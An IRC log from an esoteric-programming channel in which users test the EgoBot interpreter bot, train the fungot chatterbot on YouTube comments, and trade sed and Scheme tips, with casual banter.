connection to Egobot, and Egobot spills the entire output. 01:03:01 02:02 Irssi: Starting query in freenode with =EgoBot 01:03:01 02:02 =EgoBot> 01:03:01 02:02 Irssi: Closing query with =EgoBot 01:03:01 Best way of handling that, IMO. 01:03:08 not immensely useful :D 01:03:11 Hah. 01:03:22 GregorR: Get it to omit a single blank line. 01:03:22 ;) 01:03:41 oerjan: It's not my fault you sent too many newlines X-P 01:03:53 i didn't send _any_ newlines 01:03:59 Well that's odd. 01:04:01 !slashes /./Jud/.ge .y 01:04:01 Judge Judy 01:04:03 It does if read LN 01:04:14 !slashes /./Jud/.ge .y 01:04:15 Judge Judy 01:04:15 ok it's that command 01:04:34 !sh echo 'Judge Judy' 01:04:34 Judge Judy 01:04:44 Strange. 01:04:48 !sh echo 'Judge Judy' 01:04:49 Judge Judy 01:05:01 Oh, I think I know why. 01:05:32 * GregorR fixfix 01:06:37 !sh echo 'Judge Judy' 01:06:37 Judge Judy 01:06:42 !sh echo 'Judge Judy'; echo bleh 01:06:49 ............ 01:07:06 Wow, I really killed it this time. 01:09:13 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 01:09:16 -!- puzzlet has joined. 01:10:57 Dobleve te efe, when did EgoBot become so tempermental :P 01:11:18 Have you fed it recently? 01:11:32 Only the highest quality infant skulls. 01:12:00 ic 01:12:24 And the corpse of the old EgoBot? 01:12:29 Remember, you are what you eat. 01:13:16 hm that _could_ be a problem, if it computes like an infant 01:13:36 they are known to be temperamental, too 01:14:08 GregorR: i suggest feeding it Vulcans in the future 01:15:14 -!- EgoBot has quit (Remote closed the connection). 01:15:17 -!- EgoBot has joined. 01:18:22 !help 01:18:23 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 01:18:56 !yodawg http://oerjan.nvg.org/esoteric/interpreter.unl 01:18:57 !slashes /./Jud/.ge .y 01:18:57 Judge Judy 01:19:00 Unknown character: 01:19:12 hm 01:19:31 Is "yodawg" an unlambda interpreter? :P 01:19:33 * oerjan vaguely recalls that may have been a problem 01:19:35 yes 01:19:55 i tried recursing 01:19:59 !show yodawg 01:19:59 unlambda (sending via DCC) 01:20:59 !yodawg htttttttttttttttttttttt 01:20:59 Unknown function: h 01:21:05 ah 01:21:17 so the userinterps actually do recurse? 01:21:29 In what sense? 01:21:35 *can use URLs 01:21:39 Yes. 01:23:19 i vaguely recall there was a problem with recursing my unlambda interpreter if the base interp didn't distinguish all chars from EOF 01:23:55 if it was just running out of file, the error should have been different 01:24:05 hm 01:27:36 !yodawg http://oerjan.nvg.org/esoteric/interpreter.unl2 01:27:37 Unknown character: 01:27:40 darn 01:27:53 !unlambda http://oerjan.nvg.org/esoteric/interpreter.unl 01:28:14 hm 01:28:18 !help 01:28:18 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 01:28:26 !unlambda http://oerjan.nvg.org/esoteric/interpreter.unl 01:28:40 that's not supposed to happen 01:29:24 that gives "Unexpected end of file" in a terminal 01:31:41 That's probably waiting forever for input. 01:31:42 !unlambda http://oerjan.nvg.org/esoteric/interpreter2.unl 01:31:43 ./interps/unlambda/unlambda.bin: file /tmp/input.10206: parse error 01:31:50 what 01:32:36 It doesn't close stdin, it just doesn't send anything on stdin. 01:32:54 oh 01:35:57 oh well 01:36:44 !addinterp r13 yodawg http://oerjan.nvg.org/esoteric/rot13.unl 01:36:44 Interpreter r13 installed. 01:36:52 !r13 test 01:37:04 bah 01:37:12 !show r13 01:37:12 That is not a user interpreter! 01:37:23 erm 01:37:32 !delinterp r13 01:37:32 Interpreter r13 deleted. 01:37:36 if you say so 01:37:39 lol 01:38:11 !help addinterp 01:38:12 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 01:38:12 unl? 01:38:29 oerjan, sure you got the parameters right? 01:38:45 pretty sure 01:38:48 so 01:38:55 oerjan, langauge is "yodawg"? 01:39:01 !addinterp r13 unlambda http://oerjan.nvg.org/esoteric/rot13.unl 01:39:02 Interpreter r13 installed. 01:39:04 it was 01:39:08 !r13 test 01:39:08 grfg 01:39:14 oerjan, what? 01:39:18 what is "yodawg"? 01:39:29 apparently using addinterp with a language that was already an addinterp didn't work 01:39:38 yodawg = unlambda in unlambda 01:41:08 !delinterp r13 01:41:08 Interpreter r13 deleted. 01:43:42 oerjan, report a bug to GregorR 01:45:14 i assumed he was listening :) 01:45:23 apparently using addinterp with a language that was already an addinterp didn't work 01:45:26 I'm well aware of this. 01:45:28 anyway, i think that's a bit awkward to achieve 01:45:28 This /can't/ work. 01:45:33 GregorR, why not 01:45:37 you could make it wokr 01:45:38 It sends the program on stdin. 01:45:39 work* 01:45:42 Then the other program on ... super-stdin? 01:45:55 GregorR, do like bf. use a @? 01:45:57 or whatever 01:46:04 for my unlambda interp, you simply concat the stdins 01:46:06 AnMaster: That's language-and-interpreter-specific. 01:46:11 so 01:46:17 allow the user to specify style 01:46:23 AnMaster: Blech >_> 01:46:30 AnMaster: How do you propose I accomplish that? 01:46:39 GregorR, add another parameter? 01:47:15 In what format? 01:47:16 something like: concat|delimiter:*|delimiter:\0 01:47:20 and so on 01:47:32 GregorR, you could support the most common styles 01:47:43 The only style I've ever heard of is having a delimiter :P 01:47:56 all I can think of is "some delimiter char or chars" and concat 01:48:42 GregorR: it doesn't work for my unlambda interp, but for some it would be reasonable to add more file arguments 01:49:31 that too 01:49:43 those that are not written in esolangs, in particular 01:49:50 oerjan, um 01:49:52 befunge? 01:49:59 :P 01:50:00 and even ... was about to say 01:50:29 there's probably a way in intercal too 01:50:34 not that befunge-98 in it supports that atm. Since I haven't got around to making a compile time option to disable SOCK while enabling file IO 01:50:37 (modern versions) 01:51:53 GregorR: oh also the delimiter for the other kind could be included in the program, for adduserinterp 01:52:10 night 01:52:15 night AnMaster 01:53:13 if from a URL, the delimiter could be given after it 01:53:38 well i guess the possibility for features is endless, as usual 01:53:52 (you could have several URLs too) 03:30:23 so what wonderful conversations did i miss? 03:34:04 psygnisfive, were you here for the Creatures stuff? 03:34:09 no :o 03:35:53 I sent ultraviolent norns to random people against their will, so now worlds can be decimated 03:36:32 -!- Gracenotes has joined. 03:40:32 -!- oerjan has quit ("quat quot"). 04:03:32 -!- Slereah has joined. 04:03:35 -!- WangZeDong has quit (Read error: 60 (Operation timed out)). 06:49:37 -!- WangZeDong has joined. 06:50:28 -!- Slereah has quit (Read error: 60 (Operation timed out)). 07:00:03 -!- Slereah has joined. 07:12:16 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 07:48:47 -!- nooga has joined. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:02:01 -!- bsmntbombdood has quit (Remote closed the connection). 08:19:27 -!- tombom has joined. 08:23:49 -!- coppro has quit ("The only thing I know is that I know nothing"). 08:24:27 -!- coppro has joined. 08:25:05 -!- lereah_ has joined. 08:50:19 -!- lifthras1ir has joined. 08:51:28 -!- WangZeDong has joined. 08:56:22 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 09:03:15 -!- Slereah has quit (Read error: 110 (Connection timed out)). 09:06:17 -!- lifthrasiir has quit (Read error: 110 (Connection timed out)). 09:06:50 -!- coppro has quit (Remote closed the connection). 10:02:20 -!- lifthras1ir has changed nick to lifthrasiir. 10:28:56 -!- Dewi has joined. 10:34:35 -!- nooga has quit (Read error: 104 (Connection reset by peer)). 10:55:33 -!- puzzlet has quit ("Lost terminal"). 12:07:29 -!- jix has joined. 12:07:32 -!- MizardX has quit ("What are you sinking about?"). 12:18:29 -!- asiekierka has joined. 12:18:34 Uugh, I don't feel so good 12:18:42 but nah 12:18:47 that doesn't stop me from making new C64 crap 12:18:53 like PETSCIImator 12:20:49 You're a saint. 12:42:42 -!- puzzlet has joined. 12:48:49 -!- psygnisfive has quit (Remote closed the connection). 13:09:21 -!- KingOfKarlsruhe has joined. 13:13:57 !help 13:13:57 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 13:14:06 !bf_txtgen Hello world! 13:14:09 110 ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<++++++++.--------.+++.------.--------.>+.>. [194] 13:14:10 !bf_txtgen Hello world! 13:14:13 114 +++++++++++[>+++++++>+++++++++>+++>+<<<<-]>-----.>++.+++++++..+++.>-.<++++++++.--------.+++.------.--------.>+.>-. [460] 13:14:15 hm 13:14:23 what is the current shortest hello world in bf? 13:14:36 !lazyk (((SI)I)((SI)I)) 13:14:37 Couldn't fork sub-program. 13:14:59 AnMaster : look up on golf? 13:15:19 good idea 13:15:43 TOO MAY INTERPRETERS 13:15:50 MANY* 13:16:14 !help addinterp 13:16:15 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 13:16:37 ...this lacks ONE language 13:16:40 !help asm 13:16:40 Sorry, I have no help for asm! 13:16:43 augh 13:17:16 oh well 13:17:23 seems i'm going to program a deadfish interpreter for this now 13:17:44 lereah_, changed nick recently? 13:17:44 um 13:17:44 what is the url now again 13:17:44 it had some non-googlable one 13:18:02 um 13:18:04 asm is there 13:18:05 duh 13:18:15 just languages doesn't have help items 13:18:16 what does it do 13:18:19 is it assembler 13:18:23 but if it is, which one 13:18:57 x86 or x86_64 asm, with gas syntax 13:18:58 iirc 13:19:35 !asm mov %rax,%rax 13:19:45 !asm mov %rax,%r99 13:19:46 Does not compile. 13:19:47 ah 13:19:55 seems x86_64 gas style asm 13:20:02 :) 13:22:03 AnMaster, nah 13:22:08 It's my nick at work 13:22:15 you are slereah right? 13:22:19 Yes. 13:22:40 My home computer is also connected 13:22:42 As WangZeDong 13:22:50 lereah_ is my work nickname 13:23:21 -!- KingOfKarlsruhe has quit (Remote closed the connection). 13:24:13 how does it interpret befunge 13:24:20 cfunge 13:24:27 er, i meant 13:24:38 how does it interpret befunge with only one line to use 13:24:50 As normal, you just have only one line to use :-P 13:25:06 Why doesn't it support links to code 13:25:14 I think it does? 13:25:18 it does? 13:25:32 so i can type !befunge http://asienet.site40.net/befungecodeblahblah.txt ? 13:25:46 My question mark indicated I don't know for sure 13:25:52 i know 13:25:54 Try it, not like anything can break... 13:28:05 I am quite sure it does support that. 13:28:27 Not completely sure, of course, but quite sure nevertheless. 13:28:49 Maybe I could run fungot under it. :p 13:28:50 fizzie: nope. i haven't tried. don't have " the internet is like finding poop in the toilet, but doesn't work in quile throw it away.... http://home.comcast.net/prunesquallor/ macro.txt 13:30:03 !bf http://www.hevanet.com/cristofd/brainfuck/392quine.b 13:30:04 ->++>+++>+>+>+++>>>>>>>>>>>>>>>>>>>>+>+>++>+++>++>>+++>+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+>>+++>>+++>>>>>+++>+>>>>>>>>>++>+++>+++>+>>+++>>>+++>+>++>+++>>>+>+>++>+++>+>+>>+++>>>>>>>+>+>>>+>+>++>+++>+++>+>>+++>>>+++>+>++>+++>++>>+>+>++>+++>+>+>>+++>>>>>+++>+>>>>>++>+++>+++>+>>+++>>>+++>+>+++>+>>+++>>+++>>++[[>>+[>]++>++[<]<-]>+[>]<+<+++[<]<+]>+[>]++++>++[[<++++++++++++++++>-]<+++++++++.<] 13:30:23 okay, it does. 13:30:53 !bf32 http://www.hevanet.com/cristofd/brainfuck/fib.b 13:30:54 0 13:31:07 haha 13:31:13 when there's too much output 13:31:16 it opens a private chat session 13:31:27 That's only a couple of lines more, though. 13:31:39 well, EgoBot did it up to 13:31:40 5972304273877744135569338397692020533504 13:31:46 ^show fib 13:31:47 >+10>+>+[[+5[>+8<-]>.<+6[>-8<-]+<3]>.>>[[-]<[>+<-]>>[<2+>+>-]<[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>[-]>+>+<3-[>+<-]]]]]]]]]]]+>>>]<3][] 13:31:48 ^fib 13:31:48 0.1.1.2.3.5.8.13.21.34.55.89.144.233.377.610.987.1597.2584.4181.6765.10946.17711.28657.46368.75025.121393.196418.317811.514229.832040.1346269.2178309.3524578.5702887.9227465.14930352.24157817.39088169.632459 ... 13:34:37 !bf ,[.,] Hello! 13:34:44 ...erm? 13:35:04 Maybe it uses the ! input separator, like fungot does. 13:35:04 fizzie: manpage was a bit off)... well, in an fnord, etc 13:35:08 ^bf ,[.,]!hello. 13:35:08 hello. 13:35:12 !bf ,[.,]!Hello! 13:35:19 Maybe not, then. 13:35:20 nope 13:36:00 Well, I'unno how it does input. 13:37:11 BfNano: commands + and > 13:37:59 !hello hhh 13:38:02 Unknown command (hhh) encountered 13:38:09 !hello h 13:38:10 Hello World 13:38:15 !hello hh 13:38:16 Unknown command (hh) encountered 13:38:24 O_O 13:38:33 !hello h h 13:38:34 Unknown command (h h) encountered 13:38:36 !hello h;h 13:38:37 Unknown command (h;h) encountered 13:38:42 Shrug. 13:39:58 !bch 00101 13:40:07 ...oh, so bch is not bct misspelled 13:40:22 !addinterp bct bf http://www.bf-hacks.org/hacks/bct.b 13:40:24 Interpreter bct installed. 13:40:28 yay 13:40:49 !bct 1001001 13:40:56 !hello http://www.cis.hut.fi/htkallas/hh.txt 13:40:58 Hello World 13:41:21 Hm, putting two h's separated by a newline made it accept the first h, but it didn't do anything for the second. 13:45:16 What's the !info for, though? A language or something else? 13:45:18 !info 13:45:18 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 13:45:26 Oh, just a generic note. 13:46:11 Wow, I did a non-wrapping constant for 68 that's 1 byte smaller than the one on the wiki 13:46:49 Well, if going to the cell with the value counts as a byte (doing ">"), then it's the same size 13:47:06 ++++[>++++<-]>+[<++++>-]> 13:47:18 wait 13:47:20 the last char is < 13:47:21 not > 13:56:21 !rot13 some bananas 13:56:22 fbzr onananf 13:56:54 onan 13:56:55 kekeke 13:57:04 ...nano!? 13:57:30 Do you know who Onan is 13:57:44 no 13:57:52 wiki it 13:57:59 too lazy 13:58:25 Onan is a biblical figure 13:58:35 well 13:58:41 i don't know the English names 13:58:42 His name is linked to masturbation, though all he did was, you know, pull out 13:58:46 And SPILL HIS SEED 14:00:07 Is there BF code to output an 8-bit value as an in-te-ger 14:01:55 ^rot13 fbzr onananf 14:01:55 some bananas 14:02:02 We've got a bad case of duplicated functionality here. 14:02:16 !rot13 jerk 14:02:17 wrex 14:02:26 !rot13 onan wrex 14:02:27 bana jerk 14:02:35 ^rot13 furrfu 14:02:36 sheesh 14:03:30 !rot13 shatbg 14:03:30 fungot 14:03:44 ... 14:03:47 .......errrrrrrrr 14:03:54 fungot: TALK 14:03:54 asiekierka: " what's food for, anyways?" " not exactly the daycare-place i was thinking 14:04:42 !rot13 shatbg: lbh ner n wrex. qhqr, pna'g lbh or pbbyre? 14:04:43 fungot: you are a jerk. dude, can't you be cooler? 14:04:52 EgoBot's being ignored here. 14:05:18 !rot13 V'z abg cyrnfrq jvgu guvf! 14:05:19 I'm not pleased with this! 14:05:26 We'd have botloops day and night otherwise. At least this way they're a bit discouraged. 14:05:44 I can still pull out my own megahal bot 14:06:08 having the content of The Hitchhiker's Guide to the Galaxy inside 14:06:10 and NOTHING ELSE 14:07:50 !rot13 http://esolangs.org/wiki/BrainClub 14:07:51 14:08:06 ...KUGZY? 14:08:14 KUGZY 14:08:25 I don't think we have a hitchhikery style on fungot; I guess was too bored of just normal books at that point. 14:08:25 fizzie: i'm off to the left somewhere. 14:08:28 ^style 14:08:29 Available: agora alice darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp 14:08:36 well 14:08:46 I can do it then 14:08:49 What format 14:08:51 .TRN or .BRN 14:09:30 What the fuck is style 14:09:51 How he talks like to peoples 14:09:55 I do have the books as text, but I don't think it'd be any more amusing than, say, discworld quotes. 14:10:08 Does fungot talk to people? 14:10:09 lereah_: i need a train to tik since the bicycle is there. there is no standard way 14:10:14 AAAAH 14:10:27 fizzie: I also wanted to make a "IEEE" style, as in, all the IEEE info from wikipedia AND the specs if possible, pasted into a .TRN 14:10:36 But yeah 14:10:38 I want to make styles 14:10:43 fungot, say stuff 14:10:44 lereah_: i suspect that optimisations could be made to execute code as some apparently take callbacks. when a variable's value? 14:10:55 How do you chose between styles? 14:11:05 ^style jargon 14:11:06 Selected style: jargon (Jargon File 4.2.0 or something) 14:11:06 Just use "^style foo" from that list. 14:11:15 fungot: Tell me something about bananas. 14:11:15 fungot, say stuff 14:11:16 asiekierka: flame off. i suppose i should have been 14:11:16 lereah_: a publisher that i have found out a certain special way. 14:11:21 ^style 14:11:21 xDD 14:11:21 Available: agora alice darwin discworld europarl ff7 fisher ic irc jargon* lovecraft nethack pa speeches ss wp 14:11:28 ^style nethack 14:11:28 Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal) 14:11:29 ^style darwin 14:11:29 Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy) 14:11:32 asww 14:11:33 fungot, say stuff 14:11:34 aww* 14:11:35 lereah_: callorhinus ursinus, relative size, and their heights were much less liable to reversion :)/ upper part :) a true sheep dog " as i hear from professor agassiz and dr. johnson states that they ran at 3 or 4 years,/ numerous recorded cases :) retrievers, in which latter/ fibres :) this muscle diverge downwards, with/ laminae coated by minute micaceous scales; it alternates many times with a coarse-grained, greenish grauw 14:11:44 wat 14:11:47 Heh, the "jargon" style is actually the UNIX-HATERS list and not a jargon file. "Known issue." 14:11:58 ...Where can I download the Esolangs Wiki database 14:12:01 As is Darwin using a whole lot of smileys. 14:12:26 There was a slight accident in building the Darwin language model, which managed to translate all "of" tokens into ":)", and all "the" tokens into "/". 14:12:26 and, fizzie, is it MegaHAL 14:13:13 Hm, you mean fungot-babble? No, it's just a bit of Funge. There's no sense in there, except what you make of it. 14:13:13 fizzie: from/ varying accounts which i have just received your book, 14:13:35 fizzie: Could you please, one day, separate the fungot-babble code from the rest 14:13:36 asiekierka: aurora island, an upraised atoll. 14:13:40 I really want a chatterbot like that 14:13:47 it's better than MegaHAL :DD 14:14:11 or can you do it already 14:14:26 It's just an unpruned n-gram model, with word selection directly from the n-gram frequencies with no smoothing. Anyway, I've got some C++ code for it too; I don't have it available right now, though. 14:14:36 aww 14:14:44 ^style fisher 14:14:44 Selected style: fisher (Fisher corpus of transcribed telephone conversations) 14:14:46 also, ...i didn't understand that sort of mathobabble 14:15:20 also, where can i get the database of the Esolang wiki 14:16:28 I don't think I've seen any public links to database dumps; it's no Wikipedia, after all. (Might not have noticed even if there were.) 14:16:36 Augh 14:16:48 So I think I will need to make a .TRN file from the Wikipedia database 14:16:51 *smiles* 14:16:55 *smiles epicly* 14:17:02 *then notices he'd need a supercomputer for that* 14:17:24 Oh, I have a "wikipedia" style already; it's a tiny fraction of all Talk: namespace pages. 14:17:27 ^style wp 14:17:27 Selected style: wp (1/256th of all Wikipedia "Talk:" namespace pages) 14:17:33 One 256ths, apparently. 14:17:39 fungot: How do wikipedians speak? 14:17:40 fizzie: fnord does not cover the informatics concept of structuring data, and the rating on other projects was brought up to stub class. user:betacommandbotbetacommandbot 08:22, 10 november 2007 ( utc)/small!-- template:unsignedip 14:17:48 Lolzorlol 14:17:58 (Okay, the wiki-markup filtering could've used some work.) 14:19:29 Will a YouTube style be good, as in, the largest "comment" videos, and all the comments from them pulled into one file 14:19:31 what's the format, too 14:20:35 for example "Airbus A320 Plane Crash" is the winner, with nearly 32000 comments 14:20:59 Any mostly plain-text file is okay, preferrably something with one sensible IRC-length element (like a comment) per line. I did think about YouTube comments, but it'd have needed some extrication work. 14:21:10 nah 14:21:16 I will just paste the entire thing 14:21:21 sans the "usernames" 14:21:43 i'm also putting the bad ones 14:21:44 and spam 14:22:23 I need a way to remove everything that's before a word 14:22:25 including that work 14:22:27 word* 14:22:36 For example: I have "aaa bbb ccc" and "ddd bbb fff" 14:22:49 i want to remove everything on that line up to "bbb", or nothing if there's no "bbb" 14:22:59 So the lines will become "ccc" and "fff" 14:23:08 and "aaa ccc" would become "aaa ccc" xD 14:23:15 sed -e 's/.*bbb *//' is the crude solution. 14:23:49 don't have sed 14:23:51 must... download 14:24:12 also, only putting like pages 1, 3, 5, 7, 9 and 11 14:24:16 625*6 comments though 14:24:24 3750 14:24:27 :DDD 14:24:29 from one video 14:24:30 or nah 14:24:33 only 625*3 14:24:38 from that video 14:26:30 342kb unformatted 14:26:59 Uh, I don't have the computer with the language-model generation code turned on at the moment. Any fungot-babble-related things will have to be done later. 14:27:00 fizzie: i think my favorite would be ssilence of the lambs i like to collect baseball cards i'm not really 14:27:07 aww 14:27:14 can't you just add a plaintext file 14:27:15 :/ 14:27:23 It doesn't really work like that. 14:27:36 I could wake-on-lan the computer, but I've misplaced the MAC address. 14:28:21 I might have put the code somewhere for downloading, though. 14:28:32 oh 14:28:38 well, it's going to be a while before i'm done 14:29:30 ok, enough YTcrap 14:29:49 now let's format it 14:32:39 * AnMaster wonders how iterating over a list and just adding it back together ended up with transforming (1 2 3 4) into ((2 (1 ())) 3 4) 14:33:25 ah. found it. 14:33:28 hm 14:33:58 is there any shorter way than (cons a (cons b t)), I want to append two elements to the head of the list t 14:34:09 (language is R5RS) 14:34:14 * AnMaster prods ehird 14:34:22 `(,a ,b ,@t) if you don't mind the punctuation. 14:35:03 hm 14:35:44 Surely there's a list append 14:35:49 (append (list a b) t) is reasonably readable too. 14:35:51 Something like (append (a b) t) 14:35:53 Yep 14:35:56 It's not much shorter, though. 14:36:10 ah 14:36:19 that is more readable though 14:36:33 In fact it is longer by two characters than the cons thing. 14:36:43 fizzie: One more SED thing now 14:36:57 If there is a line "bbb ccc" and "aaa ccc" 14:37:06 fizzie, still more readable! 14:37:08 "bbb ccc" should become "" 14:37:12 and "aaa ccc" should become "" 14:37:13 as in 14:37:19 if bbb is at the beginning of the line 14:37:23 the entire line is removed 14:37:38 /^bbb/d 14:37:41 /^bbb/d 14:37:53 Deewiant: That's not exactly what was wanted here, I think. 14:38:27 "If bbb is at the beginning of the line the entire line is removed" 14:38:35 Yes, but that was just an example. 14:38:37 it worked 14:38:46 thank you 14:38:51 the list is now formatted 14:38:57 /^bbb/d removes all lines that start with bbb; is that what you wanted? 14:38:57 it's about 256kb 14:39:01 Yes 14:39:05 Oh. 14:39:18 Anyway 14:39:20 the list is done 14:39:21 Then I don't see how that's related to '"aaa ccc" should become ""'. But anyway. 14:39:22 256kb of comments 14:39:39 i said "bbb ccc" should become "" 14:39:40 oh right 14:39:46 i meant "aaa ccc" = "aaa ccc" 14:39:50 I chalked it up to a typo 14:39:52 :-) 14:39:54 and the pack has 2000 comments 14:40:01 I can't seem to find the code, though. 14:40:13 1500 from an AIRBUS A320 PLANE CRASH and 500 from an Obama-related video thing 14:40:40 AnMaster: I don't suppose you happened to download that fungot language-model-building code? Someone was asking for it, even though I cautioned about it being really very user-unfriendly. 14:41:17 fizzie: Should I send the Youtube Comment-o-Mess 14:41:41 -!- puzzlet has quit (Remote closed the connection). 14:41:46 -!- puzzlet has joined. 14:41:57 fizzie, I didn't ask for it recently afaik 14:42:14 Not recently, no; this was rather long ago. But I might recall wrongly. 14:42:15 I might have done ages ago 14:42:18 not sure 14:43:32 Well, maybe I can remote-boot that computer it's on. 14:44:49 -!- MizardX has joined. 14:46:42 Yay, I got it booted. 14:47:12 yay 14:47:55 So, how do I get them comments? 14:47:57 Oh butts. 14:48:08 I have to do a powerpoint presentation thursday :( 14:51:39 fizzie: email via private pl 14:51:40 z 14:57:31 Ok, fizzie got the "comment pack" 14:59:44 Well, let's see... it doesn't support reloading the style-list-file (even though it should), so I'll have to do a quick restart. 14:59:59 -!- ais523 has joined. 15:00:25 -!- Slereah has joined. 15:00:51 Eesh. Heh. Fungot doesn't recognize my authority, since I had a broken identd when connecting and I am now "n=fis@..." and not "i=fis@...". Heh. 15:01:13 Maybe I'll need to do some reconnecting myself, too. 15:01:18 -!- fizzie has quit (Remote closed the connection). 15:01:20 -!- fizzie has joined. 15:01:47 -!- fungot has quit ("stylish"). 15:02:35 -!- fungot has joined. 15:02:40 Rather bouncy. 15:03:08 so how's work 15:03:18 It should work. How do you feel, fungot? 15:03:18 fizzie: to be under barack obama! wajajjajajjajajaja!!! 15:03:24 Excited, I see. 15:04:19 fungot: How's France? 15:04:19 asiekierka: why... why... why... why... why... why... why... why... i dont think it had pilots, no problems with relations p.s for the hell did the pilot, apart from its obvious characteristics its a computer 15:04:31 oh, wait 15:04:33 not enough comments 15:04:40 it'll either talk about planes or about Obama 15:04:57 must find some more 15:05:06 -!- BeholdMyGlory has joined. 15:06:27 * lereah_ beholds 15:06:40 -!- MigoMipo has joined. 15:06:42 ok, some Max Payne-related comments there 15:08:35 ^style 15:08:35 Available: agora alice darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 15:08:38 ^style wp 15:08:38 Selected style: wp (1/256th of all Wikipedia "Talk:" namespace pages) 15:08:41 ^style youtube 15:08:41 Selected style: youtube (Some YouTube comments) 15:10:02 fungot, say stuff 15:10:03 lereah_: cause i know captain, he spent a year, whilst the co-pilot and president of the official aeronautic websites? 15:10:53 soon done 15:11:17 I will also send you a copy of a book if you can add it 15:11:20 not necessairly funny 15:11:21 but useful 15:11:26 "The Commodore 64 Programmers' Guide" 15:11:33 >900kb of GOODNESS 15:11:36 I think I tried that once. 15:11:40 ...You did? 15:11:46 Probably not on-channel. 15:11:49 I do have a copy of it, at the very least. 15:11:54 and what was the result? 15:11:58 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 15:12:11 I also have a different book, that's smaller, "Map the 64" 15:12:16 I didn't bother removing line-breaks, so it was a bit... abrupt. Bits of basic here and there. 15:12:26 "Map the 64" doesn't have much basic 15:12:26 Will have to leave now, though; I'll look at style-things later. 15:14:17 371kb of youtube comments 15:14:24 and a 521kb book 15:14:35 Now, Deewiant, i will need your help with sed formatting 15:14:47 1. How to remove all "empty except a newline" lines 15:14:59 I refer you to http://www.grymoire.com/Unix/Sed.html 15:14:59 2. How to remove every line starting with "::" and ending with "::" 15:16:47 -!- FireFly has joined. 15:19:59 * AnMaster notes that this code would have been a lot clearer in Erlang than in Scheme. 15:24:02 -!- tombom has quit (Read error: 110 (Connection timed out)). 15:33:22 -!- jix has quit (Read error: 113 (No route to host)). 15:39:17 -!- impomatic has joined. 15:59:52 -!- MizardX- has joined. 16:02:24 14:19 AnMaster notes that this code would have been a lot clearer in Erlang than in Scheme. 16:02:31 do you not understand the concept of learning a language 16:03:04 ehird, ?? 16:03:13 well, I suspect it would have been a lot clearer in Erlang than Unlambda 16:03:15 ehird, I do. I just note that erlang is better fit for this task 16:03:22 and quite a bit clearer in Unlambda than Malbolge 16:03:55 this task fits perfectly a language with advanced pattern matching on lists. 16:05:57 what, compiling brainfuck? 16:06:02 you're on crack 16:06:06 AnMaster: protip: use SRFI-1. 16:06:24 or just don't use scheme, since you evidently have some sort of mental block around learning a new paradigm 16:06:46 and really, pattern matching libraries exist for more or less every real language nowadays 16:06:51 if they don't have it built in 16:07:06 PCRE is perfectly capable, although rather inefficient, at doing list pattern matching, for instance 16:07:11 haha 16:07:14 (rather inefficient because it deals with the lists in text form) 16:07:20 -!- MizardX has quit (Read error: 145 (Connection timed out)). 16:07:22 if you're using Scheme, pattern matching is doin it rong 16:07:25 -!- MizardX has joined. 16:07:27 but yes, agreed 16:07:29 or just don't use scheme, since you evidently have some sort of mental block around learning a new paradigm <-- why do you think so? 16:07:39 AnMaster: you're probably writing Erlang in Scheme 16:07:41 -!- MizardX- has quit (Read error: 60 (Operation timed out)). 16:07:44 from what I've read 16:08:09 oh, and today on Fucking Crazy Ways To Cool a Computer: Submerge all the components in oil. No, really. http://www.hardcorecomputer.com/ 16:08:26 Wouldn't your and get all sticky? 16:08:27 s/today/last year/ 16:08:40 Deewiant: I don't follow the field ;-) 16:08:40 Plus, what would people think? 16:08:40 ehird, I can't think of a better way to optimise a parse tree of bf than pattern matching. Sure there are other ways. In fact I'm doing closer to what I would do in C than what I would do in Erlang. 16:08:51 lereah_: Wouldn't your all and get all sticky indeed. 16:08:52 If I see a man with his hand covered in oil 16:08:58 I think only one thing 16:09:03 but pattern matching would make it so much easier 16:09:41 ehird: you've never seen a mineral-oil-cooled computer before? 16:09:47 ais523: Nope... 16:10:05 I haven't seen one in RL, but I've known about them for ages 16:10:21 apparently the oil has a tendency to get into the inside of the wires connecting to peripherals, though 16:10:21 I have seen them on internet. Old. 16:10:25 and leak out of the keyboard 16:10:29 It's sort of ridiculous. You can't keep any of the components as spares because they're fucking oily forever :-P 16:10:32 although using a wireless keyboard would probably avoid that problem 16:10:42 Eurgh, imagine upgrading. 16:10:42 ais523, :D 16:10:54 FIRST, STICK YOUR NEW COMPONENT IN THE VAT OF OIL. IT IS NOW OILY. THEN, ATTACH IT. 16:11:00 NOW, 